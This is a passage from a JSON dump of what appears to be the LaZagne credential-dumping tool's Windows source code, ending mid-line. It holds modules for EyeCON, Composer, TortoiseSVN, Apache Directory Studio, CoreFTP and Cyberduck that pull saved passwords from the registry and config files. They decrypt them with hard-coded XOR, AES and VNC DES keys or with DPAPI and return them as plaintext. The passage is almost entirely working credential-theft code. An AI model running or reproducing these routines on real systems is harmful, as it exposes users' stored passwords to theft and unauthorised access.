    "content": "# -*- coding: utf-8 -*-\nimport codecs\n\ntry:\n    import _winreg as winreg\nexcept ImportError:\n    import winreg\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.winstructure import *\n\n\nclass EyeCON(ModuleInfo):\n    \"\"\"\n    eyeCON software WAll management software\n    infos at http://www.eyevis.de/en/products/wall-management-software.html\n    \"\"\"\n    def __init__(self):\n        self.hex_key = [ 35, 231, 64, 111, 100, 72, 95, 65, 68, 51, 52, 70, 67, 51, 65, 95, 54, 55, 50, 48, 95, 49, 49,\n             68, 54, 95, 65, 48, 53, 50, 95, 48, 48, 48, 52, 55, 54, 65, 48, 70, 66, 53, 66, 65, 70, 88, 95, 76, 79, 71,\n             73, 49, 76, 115, 107, 100, 85, 108, 107, 106, 102, 100, 109, 32, 50, 102, 115, 100, 102, 102, 32, 102, 119,\n             115, 38, 78, 68, 76, 76, 95, 72, 95, 95, 0 ]\n        ModuleInfo.__init__(self, name='EyeCon', category='multimedia')\n\n    def deobfuscate(self, ciphered_str):\n        return b''.join([chr_or_byte(char_to_int(c) ^ k) for c, k in zip(codecs.decode(ciphered_str, 'hex'), self.hex_key)])\n\n    def get_db_hosts(self):\n        hosts = []\n        paths = (\n            ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\\\WOW6432Node\\\\eyevis\\\\eyeDB', 'DB1'),\n            ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\\\WOW6432Node\\\\eyevis\\\\eyeDB', 'DB2'),\n            ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\\\WOW6432Node\\\\eyevis\\\\eyeDB', 'DB3'),\n            ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\\\eyevis\\\\eyeDB', 'DB1'),\n            ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\\\eyevis\\\\eyeDB', 'DB2'),\n            ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\\\eyevis\\\\eyeDB', 'DB3'),\n        )\n        for path in paths:\n            try:\n                hkey = OpenKey(path[1], path[2])\n                reg_key = winreg.QueryValueEx(hkey, path[3])[0]\n                if reg_key:\n                    hosts += [reg_key]\n            except Exception:\n                # skipping if value doesn't exist\n                # self.debug(u'Problems with key:: {reg_key}'.format(reg_key=path[1]+path[2]))\n                pass\n        return hosts\n\n    def credentials_from_registry(self):\n        found_passwords = []\n        password_path = (\n            {\n                'app': 'EyeCON', 'reg_root': HKEY_LOCAL_MACHINE,\n                'reg_path': 'SOFTWARE\\\\WOW6432Node\\\\eyevis\\\\eyetool\\\\Default',\n                'user_key': 'registered', 'password_key': 'connection'\n            },\n            {\n                'app': 'EyeCON', 'reg_root': HKEY_LOCAL_MACHINE,\n                'reg_path': 'SOFTWARE\\\\eyevis\\\\eyetool\\\\Default',\n                'user_key': 'registered', 'password_key': 'connection'\n            },\n        )\n\n        for path in password_path:\n            values = {}\n            try:\n                try:\n                    hkey = OpenKey(path['reg_root'], path['reg_path'])\n                    reg_user_key = winreg.QueryValueEx(hkey, path['user_key'])[0]\n                    reg_password_key = winreg.QueryValueEx(hkey, path['password_key'])[0]\n                except Exception:\n                    self.debug(u'Problems with key:: {reg_key}'.format(reg_key=path['reg_root'] + path['reg_path']))\n                    continue\n\n                try:\n                    user = self.deobfuscate(reg_user_key)\n                except Exception:\n                    self.info(u'Problems with deobfuscate user : {reg_key}'.format(reg_key=path['reg_path']))\n                    continue\n\n                try:\n                    password = self.deobfuscate(reg_password_key)\n                except Exception:\n                    self.info(u'Problems with deobfuscate password : {reg_key}'.format(reg_key=path['reg_path']))\n                    continue\n\n                found_passwords.append({'username': user, 'password': password})\n            except Exception:\n                pass\n        return found_passwords\n\n    def run(self):\n        hosts = self.get_db_hosts()\n        credentials = self.credentials_from_registry()\n        for cred in credentials:\n            cred['host(s)'] = b', '.join(hosts)\n        return credentials\n"
  },
  {
    "path": "Windows/lazagne/softwares/php/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/php/composer.py",
    "content": "# -*- coding: utf-8 -*- \nimport json\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import constant\n\nimport os\n\n\nclass Composer(ModuleInfo):\n\n    def __init__(self):\n        ModuleInfo.__init__(self, 'composer', 'php')\n\n    def extract_credentials(self, location):\n        \"\"\"\n        Extract the credentials from the \"auth.json\" file.\n        See \"https://getcomposer.org/doc/articles/http-basic-authentication.md\" for file format.\n        :param location: Full path to the \"auth.json\" file\n        :return: List of credentials founds\n        \"\"\"\n        creds_found = []\n        with open(location) as f:\n            creds = json.load(f)\n            for cred_type in creds:\n                for domain in creds[cred_type]:\n                    values = {\n                        \"AuthenticationType\" : cred_type,\n                        \"Domain\" : domain,\n                    }\n                    # Extract basic authentication if we are on a \"http-basic\" section\n                    # otherwise extract authentication token\n                    if cred_type == \"http-basic\":\n                        values[\"Login\"] = creds[cred_type][domain][\"username\"]\n                        values[\"Password\"] = creds[cred_type][domain][\"password\"]\n                    else:\n                        values[\"Password\"] = creds[cred_type][domain]\n                    creds_found.append(values)\n\n        return creds_found\n\n    def run(self):\n        \"\"\"\n        Main function\n        \"\"\"\n\n        # Define the possible full path of the \"auth.json\" file when is defined at global level\n        # See \"https://getcomposer.org/doc/articles/http-basic-authentication.md\"\n        # See \"https://seld.be/notes/authentication-management-in-composer\"\n        location = ''\n        tmp_location = [\n            os.path.join(constant.profile[\"COMPOSER_HOME\"], u'auth.json'), \n            os.path.join(constant.profile[\"APPDATA\"], u'Composer\\\\auth.json')\n        ]\n        for tmp in tmp_location:\n            if os.path.isfile(tmp):\n                location = tmp\n                break\n            \n        if location:\n            return self.extract_credentials(location)\n"
  },
  {
    "path": "Windows/lazagne/softwares/svn/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/svn/tortoise.py",
    "content": "# -*- coding: utf-8 -*- \nimport base64\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.winstructure import Win32CryptUnprotectData\nfrom lazagne.config.constant import constant\n\nimport os\n\n\nclass Tortoise(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'tortoise', 'svn', winapi_used=True)\n\n    def run(self):\n        pwd_found = []\n        path = os.path.join(constant.profile[\"APPDATA\"], u'Subversion\\\\auth\\\\svn.simple')\n        if os.path.exists(path):\n            for root, dirs, files in os.walk(path + os.sep):\n                for filename in files:\n                    f = open(os.path.join(path, filename), 'r')\n                    url = ''\n                    username = ''\n                    result = ''\n\n                    i = 0\n                    # password\n                    for line in f:\n                        if i == -1:\n                            result = line.replace('\\n', '')\n                            break\n                        if line.startswith('password'):\n                            i = -3\n                        i += 1\n\n                    i = 0\n                    # url\n                    for line in f:\n                        if i == -1:\n                            url = line.replace('\\n', '')\n                            break\n                        if line.startswith('svn:realmstring'):\n                            i = -3\n                        i += 1\n\n                    i = 0\n\n                    # username\n                    for line in f:\n                        if i == -1:\n                            username = line.replace('\\n', '')\n                            break\n                        if line.startswith('username'):\n                            i = -3\n                        i += 1\n\n                    # encrypted the password\n                    if result:\n                        try:\n                            password_bytes = Win32CryptUnprotectData(base64.b64decode(result), is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)\n                            pwd_found.append({\n                                'URL': url,\n                                'Login': username,\n                                'Password': password_bytes.decode(\"utf-8\")\n                            })\n                        except Exception:\n                            pass\n            return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/apachedirectorystudio.py",
    "content": "# -*- coding: utf-8 -*- \nfrom xml.etree.ElementTree import parse\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import *\n\nimport os\n\n\nclass ApacheDirectoryStudio(ModuleInfo):\n\n    def __init__(self):\n        ModuleInfo.__init__(self, 'apachedirectorystudio', 'sysadmin')\n        # Interesting XML attributes in ADS connection configuration\n        self.attr_to_extract = [\"host\", \"port\", \"bindPrincipal\", \"bindPassword\", \"authMethod\"]\n\n    def extract_connections_credentials(self):\n        \"\"\"\n        Extract all connection's credentials.\n\n        :return: List of dict in which one dict contains all information for a connection.\n        \"\"\"\n        repos_creds = []\n        connection_file_location = os.path.join(\n            constant.profile[\"USERPROFILE\"],\n            u'.ApacheDirectoryStudio\\\\.metadata\\\\.plugins\\\\org.apache.directory.studio.connection.core\\\\connections.xml'\n        )\n        if os.path.isfile(connection_file_location):\n            try:\n                connections = parse(connection_file_location).getroot()\n                connection_nodes = connections.findall(\".//connection\")\n                for connection_node in connection_nodes:\n                    creds = {}\n                    for connection_attr_name in connection_node.attrib:\n                        if connection_attr_name in self.attr_to_extract:\n                            creds[connection_attr_name] = connection_node.attrib[connection_attr_name].strip()\n                    if creds:\n                        repos_creds.append(creds)\n            except Exception as e:\n                self.error(u\"Cannot retrieve connections credentials '%s'\" % e)\n\n        return repos_creds\n\n    def run(self):\n        \"\"\"\n        Main function\n        \"\"\"\n        # Extract all available connections credentials\n        repos_creds = self.extract_connections_credentials()\n\n        # Parse and process the list of connections credentials\n        pwd_found = []\n        for creds in repos_creds:\n            pwd_found.append({\n                \"Host\"                  : creds[\"host\"],\n                \"Port\"                  : creds[\"port\"],\n                \"Login\"                 : creds[\"bindPrincipal\"],\n                \"Password\"              : creds[\"bindPassword\"],\n                \"AuthenticationMethod\"  : creds[\"authMethod\"]\n            })\n\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/coreftp.py",
    "content": "# -*- coding: utf-8 -*- \r\nimport binascii\r\ntry: \r\n    import _winreg as winreg\r\nexcept ImportError:\r\n    import winreg\r\n\r\nfrom lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER\r\n\r\n\r\nclass CoreFTP(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'coreftp', 'sysadmin')\r\n\r\n        self._secret = b\"hdfzpysvpzimorhk\"\r\n\r\n    def decrypt(self, hex):\r\n        encoded = binascii.unhexlify(hex)\r\n        aes = AESModeOfOperationECB(self._secret)\r\n        decrypted = aes.decrypt(encoded)\r\n        return decrypted.split(b'\\x00')[0]\r\n\r\n    def run(self):\r\n        key = None\r\n        pwd_found = []\r\n        try:\r\n            key = OpenKey(HKEY_CURRENT_USER, 'Software\\\\FTPware\\\\CoreFTP\\\\Sites')\r\n        except Exception as e:\r\n            self.debug(str(e))\r\n\r\n        if key:\r\n            num_profiles = winreg.QueryInfoKey(key)[0]\r\n            elements = ['Host', 'Port', 'User', 'PW']\r\n            for n in range(num_profiles):\r\n                name_skey = winreg.EnumKey(key, n)\r\n                skey = OpenKey(key, name_skey)\r\n                num = winreg.QueryInfoKey(skey)[1]\r\n                values = {}\r\n                for nn in range(num):\r\n                    k = winreg.EnumValue(skey, nn)\r\n                    if k[0] in elements:\r\n                        if k[0] == 'User':\r\n                            values['Login'] = k[1]\r\n                            pwd_found.append(values)\r\n                        if k[0] == 'PW':\r\n                            try:\r\n                                values['Password'] = self.decrypt(k[1])\r\n                            except Exception as e:\r\n                                self.debug(str(e))\r\n                        else:\r\n                            values[k[0]] = k[1]\r\n\r\n                winreg.CloseKey(skey)\r\n            winreg.CloseKey(key)\r\n\r\n            return pwd_found\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/cyberduck.py",
    "content": "# -*- coding: utf-8 -*- \nimport base64\n\nfrom xml.etree.cElementTree import ElementTree\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.winstructure import Win32CryptUnprotectData\nfrom lazagne.config.constant import constant\nfrom lazagne.config.winstructure import string_to_unicode\n\nimport os\n\n\nclass Cyberduck(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'cyberduck', 'sysadmin', winapi_used=True)\n\n    # find the user.config file containing passwords\n    def get_application_path(self):\n        directory = os.path.join(constant.profile['APPDATA'], u'Cyberduck')\n        if os.path.exists(directory):\n            for dr in os.listdir(directory):\n                if dr.startswith(u'Cyberduck'):\n                    for d in os.listdir(os.path.join(directory, string_to_unicode(dr))):\n                        path = os.path.join(directory, string_to_unicode(dr), string_to_unicode(d), u'user.config')\n                        return path\n\n    def run(self):\n        xml_file = self.get_application_path()\n        if xml_file and os.path.exists(xml_file):\n            tree = ElementTree(file=xml_file)\n\n            pwd_found = []\n            for elem in tree.iter():\n                try:\n                    if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') \\\n                            or elem.attrib['name'].startswith('sftp') or elem.attrib['name'].startswith('http') \\\n                            or elem.attrib['name'].startswith('https'):\n                        encrypted_password = base64.b64decode(elem.attrib['value'])\n                        password_bytes = Win32CryptUnprotectData(encrypted_password, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)\n                        pwd_found.append({\n                            'URL': elem.attrib['name'],\n                            'Password': password_bytes.decode(\"utf-8\"),\n                        })\n                except Exception as e:\n                    self.debug(str(e))\n\n            return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/d3des.py",
    "content": "#!/usr/bin/env python\r\n#\r\n#  d3des.py - DES implementation\r\n#\r\n#  Copyright (c) 2009 by Yusuke Shinyama\r\n#\r\n\r\n# This is a Python rewrite of d3des.c by Richard Outerbridge.\r\n#\r\n# I referred to the original VNC viewer code for the changes that\r\n# is necessary to maintain the exact behavior of the VNC protocol.\r\n# Two constants and two functions were added to the original d3des\r\n# code.  These added parts were written in Python and marked\r\n# below.  I believe that the added parts do not make this program\r\n# a \"derivative work\" of the VNC viewer (which is GPL'ed and\r\n# written in C), but if there's any problem, let me know.\r\n#\r\n# Yusuke Shinyama (yusuke at cs dot nyu dot edu)\r\n\r\n\r\n#  D3DES (V5.09) -\r\n#\r\n#  A portable, public domain, version of the Data Encryption Standard.\r\n#\r\n#  Written with Symantec's THINK (Lightspeed) C by Richard Outerbridge.\r\n#  Thanks to: Dan Hoey for his excellent Initial and Inverse permutation\r\n#  code;  Jim Gillogly & Phil Karn for the DES key schedule code; Dennis\r\n#  Ferguson, Eric Young and Dana How for comparing notes; and Ray Lau,\r\n#  for humouring me on.\r\n#\r\n#  Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge.\r\n#  (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992.\r\n#\r\n\r\nfrom struct import pack, unpack\r\n\r\n\r\n###################################################\r\n#\r\n# start: changes made for VNC.\r\n#\r\n\r\n# This constant was taken from vncviewer/rfb/vncauth.c:\r\nvnckey = [23, 82, 107, 6, 35, 78, 88, 7]\r\n\r\n# This is a departure from the original code.\r\n# bytebit = [ 0200, 0100, 040, 020, 010, 04, 02, 01 ] # original\r\nbytebit = [0o1, 0o2, 0o4, 0o10, 0o20, 0o40, 0o100, 0o200]  # VNC version\r\n\r\n\r\n# two password functions for VNC protocol.\r\n\r\n\r\ndef decrypt_passwd(data):\r\n    dk = deskey(pack('8B', *vnckey), True)\r\n    return desfunc(data, dk)\r\n\r\n\r\ndef generate_response(passwd, challange):\r\n    ek = deskey((passwd+'\\x00'*8)[:8], False)\r\n    return desfunc(challange[:8], ek) + desfunc(challange[8:], ek)\r\n\r\n###\r\n#  end: changes made for VNC.\r\n#\r\n###################################################\r\n\r\n\r\nbigbyte = [\r\n  0x800000,    0x400000,    0x200000,    0x100000,\r\n  0x80000,    0x40000,    0x20000,    0x10000,\r\n  0x8000,    0x4000,    0x2000,    0x1000,\r\n  0x800,     0x400,     0x200,     0x100,\r\n  0x80,    0x40,        0x20,        0x10,\r\n  0x8,        0x4,        0x2,        0x1\r\n  ]\r\n\r\n# Use the key schedule specified in the Standard (ANSI X3.92-1981).\r\n\r\npc1 = [\r\n  56, 48, 40, 32, 24, 16,  8,     0, 57, 49, 41, 33, 25, 17,\r\n   9,  1, 58, 50, 42, 34, 26,    18, 10,  2, 59, 51, 43, 35,\r\n  62, 54, 46, 38, 30, 22, 14,     6, 61, 53, 45, 37, 29, 21,\r\n  13,  5, 60, 52, 44, 36, 28,    20, 12,  4, 27, 19, 11,  3\r\n  ]\r\n\r\ntotrot = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28]\r\n\r\npc2 = [\r\n  13, 16, 10, 23,  0,  4,  2, 27, 14,  5, 20,  9,\r\n  22, 18, 11,  3, 25,  7, 15,  6, 26, 19, 12,  1,\r\n  40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47,\r\n  43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31\r\n  ]\r\n\r\n\r\ndef deskey(key, decrypt):  # Thanks to James Gillogly & Phil Karn!\r\n    key = unpack('8B', key)\r\n\r\n    pc1m = [0]*56\r\n    pcr = [0]*56\r\n    kn = [0]*32\r\n\r\n    for j in range(56):\r\n        l = pc1[j]\r\n        m = l & 0o7\r\n        if key[l >> 3] & bytebit[m]:\r\n            pc1m[j] = 1\r\n        else:\r\n            pc1m[j] = 0\r\n\r\n    for i in range(16):\r\n        if decrypt:\r\n            m = (15 - i) << 1\r\n        else:\r\n            m = i << 1\r\n        n = m + 1\r\n        kn[m] = kn[n] = 0\r\n        for j in range(28):\r\n            l = j + totrot[i]\r\n            if l < 28:\r\n                pcr[j] = pc1m[l]\r\n            else:\r\n                pcr[j] = pc1m[l - 28]\r\n        for j in range(28, 56):\r\n            l = j + totrot[i]\r\n            if l < 56:\r\n                pcr[j] = pc1m[l]\r\n            else:\r\n                pcr[j] = pc1m[l - 28]\r\n        for j in range(24):\r\n            if pcr[pc2[j]]:\r\n                kn[m] |= bigbyte[j]\r\n            if pcr[pc2[j+24]]:\r\n                kn[n] |= bigbyte[j]\r\n\r\n    return cookey(kn)\r\n\r\n\r\ndef cookey(raw):\r\n    key = []\r\n    for i in range(0, 32, 2):\r\n        (raw0, raw1) = (raw[i], raw[i+1])\r\n        k = (raw0 & 0x00fc0000) << 6\r\n        k |= (raw0 & 0x00000fc0) << 10\r\n        k |= (raw1 & 0x00fc0000) >> 10\r\n        k |= (raw1 & 0x00000fc0) >> 6\r\n        key.append(k)\r\n        k = (raw0 & 0x0003f000) << 12\r\n        k |= (raw0 & 0x0000003f) << 16\r\n        k |= (raw1 & 0x0003f000) >> 4\r\n        k |= (raw1 & 0x0000003f)\r\n        key.append(k)\r\n    return key\r\n\r\n\r\nSP1 = [\r\n    0x01010400, 0x00000000, 0x00010000, 0x01010404,\r\n    0x01010004, 0x00010404, 0x00000004, 0x00010000,\r\n    0x00000400, 0x01010400, 0x01010404, 0x00000400,\r\n    0x01000404, 0x01010004, 0x01000000, 0x00000004,\r\n    0x00000404, 0x01000400, 0x01000400, 0x00010400,\r\n    0x00010400, 0x01010000, 0x01010000, 0x01000404,\r\n    0x00010004, 0x01000004, 0x01000004, 0x00010004,\r\n    0x00000000, 0x00000404, 0x00010404, 0x01000000,\r\n    0x00010000, 0x01010404, 0x00000004, 0x01010000,\r\n    0x01010400, 0x01000000, 0x01000000, 0x00000400,\r\n    0x01010004, 0x00010000, 0x00010400, 0x01000004,\r\n    0x00000400, 0x00000004, 0x01000404, 0x00010404,\r\n    0x01010404, 0x00010004, 0x01010000, 0x01000404,\r\n    0x01000004, 0x00000404, 0x00010404, 0x01010400,\r\n    0x00000404, 0x01000400, 0x01000400, 0x00000000,\r\n    0x00010004, 0x00010400, 0x00000000, 0x01010004\r\n]\r\n\r\nSP2 = [\r\n    0x80108020, 0x80008000, 0x00008000, 0x00108020,\r\n    0x00100000, 0x00000020, 0x80100020, 0x80008020,\r\n    0x80000020, 0x80108020, 0x80108000, 0x80000000,\r\n    0x80008000, 0x00100000, 0x00000020, 0x80100020,\r\n    0x00108000, 0x00100020, 0x80008020, 0x00000000,\r\n    0x80000000, 0x00008000, 0x00108020, 0x80100000,\r\n    0x00100020, 0x80000020, 0x00000000, 0x00108000,\r\n    0x00008020, 0x80108000, 0x80100000, 0x00008020,\r\n    0x00000000, 0x00108020, 0x80100020, 0x00100000,\r\n    0x80008020, 0x80100000, 0x80108000, 0x00008000,\r\n    0x80100000, 0x80008000, 0x00000020, 0x80108020,\r\n    0x00108020, 0x00000020, 0x00008000, 0x80000000,\r\n    0x00008020, 0x80108000, 0x00100000, 0x80000020,\r\n    0x00100020, 0x80008020, 0x80000020, 0x00100020,\r\n    0x00108000, 0x00000000, 0x80008000, 0x00008020,\r\n    0x80000000, 0x80100020, 0x80108020, 0x00108000\r\n]\r\n\r\nSP3 = [\r\n    0x00000208, 0x08020200, 0x00000000, 0x08020008,\r\n    0x08000200, 0x00000000, 0x00020208, 0x08000200,\r\n    0x00020008, 0x08000008, 0x08000008, 0x00020000,\r\n    0x08020208, 0x00020008, 0x08020000, 0x00000208,\r\n    0x08000000, 0x00000008, 0x08020200, 0x00000200,\r\n    0x00020200, 0x08020000, 0x08020008, 0x00020208,\r\n    0x08000208, 0x00020200, 0x00020000, 0x08000208,\r\n    0x00000008, 0x08020208, 0x00000200, 0x08000000,\r\n    0x08020200, 0x08000000, 0x00020008, 0x00000208,\r\n    0x00020000, 0x08020200, 0x08000200, 0x00000000,\r\n    0x00000200, 0x00020008, 0x08020208, 0x08000200,\r\n    0x08000008, 0x00000200, 0x00000000, 0x08020008,\r\n    0x08000208, 0x00020000, 0x08000000, 0x08020208,\r\n    0x00000008, 0x00020208, 0x00020200, 0x08000008,\r\n    0x08020000, 0x08000208, 0x00000208, 0x08020000,\r\n    0x00020208, 0x00000008, 0x08020008, 0x00020200\r\n]\r\n\r\nSP4 = [\r\n    0x00802001, 0x00002081, 0x00002081, 0x00000080,\r\n    0x00802080, 0x00800081, 0x00800001, 0x00002001,\r\n    0x00000000, 0x00802000, 0x00802000, 0x00802081,\r\n    0x00000081, 0x00000000, 0x00800080, 0x00800001,\r\n    0x00000001, 0x00002000, 0x00800000, 0x00802001,\r\n    0x00000080, 0x00800000, 0x00002001, 0x00002080,\r\n    0x00800081, 0x00000001, 0x00002080, 0x00800080,\r\n    0x00002000, 0x00802080, 0x00802081, 0x00000081,\r\n    0x00800080, 0x00800001, 0x00802000, 0x00802081,\r\n    0x00000081, 0x00000000, 0x00000000, 0x00802000,\r\n    0x00002080, 0x00800080, 0x00800081, 0x00000001,\r\n    0x00802001, 0x00002081, 0x00002081, 0x00000080,\r\n    0x00802081, 0x00000081, 0x00000001, 0x00002000,\r\n    0x00800001, 0x00002001, 0x00802080, 0x00800081,\r\n    0x00002001, 0x00002080, 0x00800000, 0x00802001,\r\n    0x00000080, 0x00800000, 0x00002000, 0x00802080\r\n]\r\n\r\nSP5 = [\r\n    0x00000100, 0x02080100, 0x02080000, 0x42000100,\r\n    0x00080000, 0x00000100, 0x40000000, 0x02080000,\r\n    0x40080100, 0x00080000, 0x02000100, 0x40080100,\r\n    0x42000100, 0x42080000, 0x00080100, 0x40000000,\r\n    0x02000000, 0x40080000, 0x40080000, 0x00000000,\r\n    0x40000100, 0x42080100, 0x42080100, 0x02000100,\r\n    0x42080000, 0x40000100, 0x00000000, 0x42000000,\r\n    0x02080100, 0x02000000, 0x42000000, 0x00080100,\r\n    0x00080000, 0x42000100, 0x00000100, 0x02000000,\r\n    0x40000000, 0x02080000, 0x42000100, 0x40080100,\r\n    0x02000100, 0x40000000, 0x42080000, 0x02080100,\r\n    0x40080100, 0x00000100, 0x02000000, 0x42080000,\r\n    0x42080100, 0x00080100, 0x42000000, 0x42080100,\r\n    0x02080000, 0x00000000, 0x40080000, 0x42000000,\r\n    0x00080100, 0x02000100, 0x40000100, 0x00080000,\r\n    0x00000000, 0x40080000, 0x02080100, 0x40000100\r\n]\r\n\r\nSP6 = [\r\n    0x20000010, 0x20400000, 0x00004000, 0x20404010,\r\n    0x20400000, 0x00000010, 0x20404010, 0x00400000,\r\n    0x20004000, 0x00404010, 0x00400000, 0x20000010,\r\n    0x00400010, 0x20004000, 0x20000000, 0x00004010,\r\n    0x00000000, 0x00400010, 0x20004010, 0x00004000,\r\n    0x00404000, 0x20004010, 0x00000010, 0x20400010,\r\n    0x20400010, 0x00000000, 0x00404010, 0x20404000,\r\n    0x00004010, 0x00404000, 0x20404000, 0x20000000,\r\n    0x20004000, 0x00000010, 0x20400010, 0x00404000,\r\n    0x20404010, 0x00400000, 0x00004010, 0x20000010,\r\n    0x00400000, 0x20004000, 0x20000000, 0x00004010,\r\n    0x20000010, 0x20404010, 0x00404000, 0x20400000,\r\n    0x00404010, 0x20404000, 0x00000000, 0x20400010,\r\n    0x00000010, 0x00004000, 0x20400000, 0x00404010,\r\n    0x00004000, 0x00400010, 0x20004010, 0x00000000,\r\n    0x20404000, 0x20000000, 0x00400010, 0x20004010\r\n]\r\n\r\nSP7 = [\r\n    0x00200000, 0x04200002, 0x04000802, 0x00000000,\r\n    0x00000800, 0x04000802, 0x00200802, 0x04200800,\r\n    0x04200802, 0x00200000, 0x00000000, 0x04000002,\r\n    0x00000002, 0x04000000, 0x04200002, 0x00000802,\r\n    0x04000800, 0x00200802, 0x00200002, 0x04000800,\r\n    0x04000002, 0x04200000, 0x04200800, 0x00200002,\r\n    0x04200000, 0x00000800, 0x00000802, 0x04200802,\r\n    0x00200800, 0x00000002, 0x04000000, 0x00200800,\r\n    0x04000000, 0x00200800, 0x00200000, 0x04000802,\r\n    0x04000802, 0x04200002, 0x04200002, 0x00000002,\r\n    0x00200002, 0x04000000, 0x04000800, 0x00200000,\r\n    0x04200800, 0x00000802, 0x00200802, 0x04200800,\r\n    0x00000802, 0x04000002, 0x04200802, 0x04200000,\r\n    0x00200800, 0x00000000, 0x00000002, 0x04200802,\r\n    0x00000000, 0x00200802, 0x04200000, 0x00000800,\r\n    0x04000002, 0x04000800, 0x00000800, 0x00200002\r\n]\r\n\r\nSP8 = [\r\n    0x10001040, 0x00001000, 0x00040000, 0x10041040,\r\n    0x10000000, 0x10001040, 0x00000040, 0x10000000,\r\n    0x00040040, 0x10040000, 0x10041040, 0x00041000,\r\n    0x10041000, 0x00041040, 0x00001000, 0x00000040,\r\n    0x10040000, 0x10000040, 0x10001000, 0x00001040,\r\n    0x00041000, 0x00040040, 0x10040040, 0x10041000,\r\n    0x00001040, 0x00000000, 0x00000000, 0x10040040,\r\n    0x10000040, 0x10001000, 0x00041040, 0x00040000,\r\n    0x00041040, 0x00040000, 0x10041000, 0x00001000,\r\n    0x00000040, 0x10040040, 0x00001000, 0x00041040,\r\n    0x10001000, 0x00000040, 0x10000040, 0x10040000,\r\n    0x10040040, 0x10000000, 0x00040000, 0x10001040,\r\n    0x00000000, 0x10041040, 0x00040040, 0x10000040,\r\n    0x10040000, 0x10001000, 0x10001040, 0x00000000,\r\n    0x10041040, 0x00041000, 0x00041000, 0x00001040,\r\n    0x00001040, 0x00040040, 0x10000000, 0x10041000\r\n]\r\n\r\n\r\ndef desfunc(block, keys):\r\n    (leftt, right) = unpack('>II', block)\r\n\r\n    work = ((leftt >> 4) ^ right) & 0x0f0f0f0f\r\n    right ^= work\r\n    leftt ^= (work << 4)\r\n    work = ((leftt >> 16) ^ right) & 0x0000ffff\r\n    right ^= work\r\n    leftt ^= (work << 16)\r\n    work = ((right >> 2) ^ leftt) & 0x33333333\r\n    leftt ^= work\r\n    right ^= (work << 2)\r\n    work = ((right >> 8) ^ leftt) & 0x00ff00ff\r\n    leftt ^= work\r\n    right ^= (work << 8)\r\n    right = ((right << 1) | ((right >> 31) & 1)) & 0xffffffff\r\n    work = (leftt ^ right) & 0xaaaaaaaa\r\n    leftt ^= work\r\n    right ^= work\r\n    leftt = ((leftt << 1) | ((leftt >> 31) & 1)) & 0xffffffff\r\n\r\n    for i in range(0, 32, 4):\r\n        work = (right << 28) | (right >> 4)\r\n        work ^= keys[i]\r\n        fval = SP7[work & 0x3f]\r\n        fval |= SP5[(work >> 8) & 0x3f]\r\n        fval |= SP3[(work >> 16) & 0x3f]\r\n        fval |= SP1[(work >> 24) & 0x3f]\r\n        work = right ^ keys[i+1]\r\n        fval |= SP8[work & 0x3f]\r\n        fval |= SP6[(work >> 8) & 0x3f]\r\n        fval |= SP4[(work >> 16) & 0x3f]\r\n        fval |= SP2[(work >> 24) & 0x3f]\r\n        leftt ^= fval\r\n        work = (leftt << 28) | (leftt >> 4)\r\n        work ^= keys[i+2]\r\n        fval = SP7[work & 0x3f]\r\n        fval |= SP5[(work >> 8) & 0x3f]\r\n        fval |= SP3[(work >> 16) & 0x3f]\r\n        fval |= SP1[(work >> 24) & 0x3f]\r\n        work = leftt ^ keys[i+3]\r\n        fval |= SP8[work & 0x3f]\r\n        fval |= SP6[(work >> 8) & 0x3f]\r\n        fval |= SP4[(work >> 16) & 0x3f]\r\n        fval |= SP2[(work >> 24) & 0x3f]\r\n        right ^= fval\r\n\r\n    right = (right << 31) | (right >> 1)\r\n    work = (leftt ^ right) & 0xaaaaaaaa\r\n    leftt ^= work\r\n    right ^= work\r\n    leftt = (leftt << 31) | (leftt >> 1)\r\n    work = ((leftt >> 8) ^ right) & 0x00ff00ff\r\n    right ^= work\r\n    leftt ^= (work << 8)\r\n    work = ((leftt >> 2) ^ right) & 0x33333333\r\n    right ^= work\r\n    leftt ^= (work << 2)\r\n    work = ((right >> 16) ^ leftt) & 0x0000ffff\r\n    leftt ^= work\r\n    right ^= (work << 16)\r\n    work = ((right >> 4) ^ leftt) & 0x0f0f0f0f\r\n    leftt ^= work\r\n    right ^= (work << 4)\r\n\r\n    leftt &= 0xffffffff\r\n    right &= 0xffffffff\r\n    return pack('>II', right, leftt)\r\n\r\n\r\n# test\r\nif __name__ == '__main__':\r\n    import binascii\r\n    key = 